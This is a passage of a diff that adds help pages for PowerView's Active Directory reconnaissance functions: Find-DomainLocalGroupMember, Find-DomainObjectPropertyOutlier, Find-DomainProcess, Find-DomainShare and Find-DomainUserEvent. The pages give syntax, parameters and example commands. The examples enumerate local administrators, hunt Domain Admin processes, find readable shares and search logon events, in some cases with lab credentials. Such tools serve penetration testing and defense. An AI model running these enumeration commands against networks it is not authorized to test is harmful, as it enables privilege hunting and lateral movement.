+Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +## SYNTAX + +``` +Find-DomainLocalGroupMember [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-GroupName ] [-Method ] + [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainLocalGroupMember +``` + +Enumerates the local group memberships for all reachable machines in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainLocalGroupMember -Domain dev.testlab.local +``` + +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -GroupName +The local group name to query for users. +If not given, it defaults to "Administrators". + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Administrators +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -Method +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: CollectionMethod + +Required: False +Position: Named +Default value: API +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainObjectPropertyOutlier.md b/docs/Recon/Find-DomainObjectPropertyOutlier.md new file mode 100755 index 00000000..280e8ef5 --- /dev/null +++ b/docs/Recon/Find-DomainObjectPropertyOutlier.md @@ -0,0 +1,261 @@ +# Find-DomainObjectPropertyOutlier + +## SYNOPSIS +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass + +## SYNTAX + +### ClassName (Default) +``` +Find-DomainObjectPropertyOutlier [-ClassName] [-ReferencePropertySet ] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +### ReferenceObject +``` +Find-DomainObjectPropertyOutlier [-ReferencePropertySet ] -ReferenceObject + [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass. +If a -ReferenceObject is passed, the class is extracted from the passed object. +A 'reference' set of property names is then calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. +These property names are substracted +from the master schema propertyu name list to retrieve a set of 'non-standard' properties. +Every user/group/computer object (depending on determined class) are enumerated, and for each +object, if the object has a 'non-standard' property set, the object samAccountName, property +name, and property value are output to the pipeline. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainObjectPropertyOutlier -User +``` + +Enumerates users in the current domain with 'outlier' properties filled in. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainObjectPropertyOutlier -Group -Domain external.local +``` + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier +``` + +Enumerates computers in the current domain with 'outlier' properties filled in. + +## PARAMETERS + +### -ClassName +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +```yaml +Type: String +Parameter Sets: ClassName +Aliases: Class + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReferencePropertySet +Specifies an array of property names to diff against the class schema. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReferenceObject +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +```yaml +Type: PSObject +Parameter Sets: ReferenceObject +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainProcess.md b/docs/Recon/Find-DomainProcess.md new file mode 100755 index 00000000..89dc568d --- /dev/null +++ b/docs/Recon/Find-DomainProcess.md @@ -0,0 +1,517 @@ +# Find-DomainProcess + +## SYNOPSIS +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. + +Thanks to @paulbrandau for the approach idea. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction + +## SYNTAX + +### None (Default) +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserGroupIdentity ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] + [-Jitter ] [-Threads ] +``` + +### TargetProcess +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-ProcessName ] [-UserGroupIdentity ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### UserIdentity +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserGroupIdentity ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### TargetUser +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] + [-UserGroupIdentity ] [-UserAdminCount] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. +Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. +If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainProcess +``` + +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local +``` + +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-DomainProcess -ProcessName putty.exe +``` + +Searchings for instances of putty.exe running on the current domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred + +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to query for computers AND users, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerUnconstrained +Switch. +Search computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Unconstrained + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcessName +Search for processes with one or more specific names. + +```yaml +Type: String[] +Parameter Sets: TargetProcess +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: UserIdentity, TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: TargetUser +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserProcess + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainShare.md b/docs/Recon/Find-DomainShare.md new file mode 100755 index 00000000..71274b7b --- /dev/null +++ b/docs/Recon/Find-DomainShare.md @@ -0,0 +1,335 @@ +# Find-DomainShare + +## SYNOPSIS +Searches for computer shares on the domain. +If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction + +## SYNTAX + +``` +Find-DomainShare [[-ComputerName] ] [-ComputerDomain ] [-ComputerLDAPFilter ] + [-ComputerSearchBase ] [-ComputerOperatingSystem ] [-ComputerServicePack ] + [-ComputerSiteName ] [-CheckShareAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. +If -CheckShareAccess is passed, then +\[IO.Directory\]::GetFiles() is used to check if the current user has read +access to the given share. +If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainShare +``` + +Find all domain shares in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainShare -CheckShareAccess +``` + +Find all domain shares in the current domain that the current user has +read access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Domain + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckShareAccess +Switch. +Only display found shares that the local user has access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: CheckAccess + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ShareInfo + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainUserEvent.md b/docs/Recon/Find-DomainUserEvent.md new file mode 100755 index 00000000..12e64a9e --- /dev/null +++ b/docs/Recon/Find-DomainUserEvent.md @@ -0,0 +1,451 @@ +# Find-DomainUserEvent + +## SYNOPSIS +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +## SYNTAX + +### Domain (Default) +``` +Find-DomainUserEvent [-Domain ] [-Filter ] [-StartTime ] [-EndTime ] + [-MaxEvents ] [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] + [-UserSearchBase ] [-UserGroupIdentity ] [-UserAdminCount] [-CheckAccess] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### ComputerName +``` +Find-DomainUserEvent [[-ComputerName] ] [-Filter ] [-StartTime ] + [-EndTime ] [-MaxEvents ] [-UserIdentity ] [-UserDomain ] + [-UserLDAPFilter ] [-UserSearchBase ] [-UserGroupIdentity ] [-UserAdminCount] + [-CheckAccess] [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] + [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] [-Jitter ] + [-Threads ] +``` + +## DESCRIPTION +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainUserEvent +``` + +Search for any user events matching domain admins on every DC in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$cred = Get-Credential dev\administrator +``` + 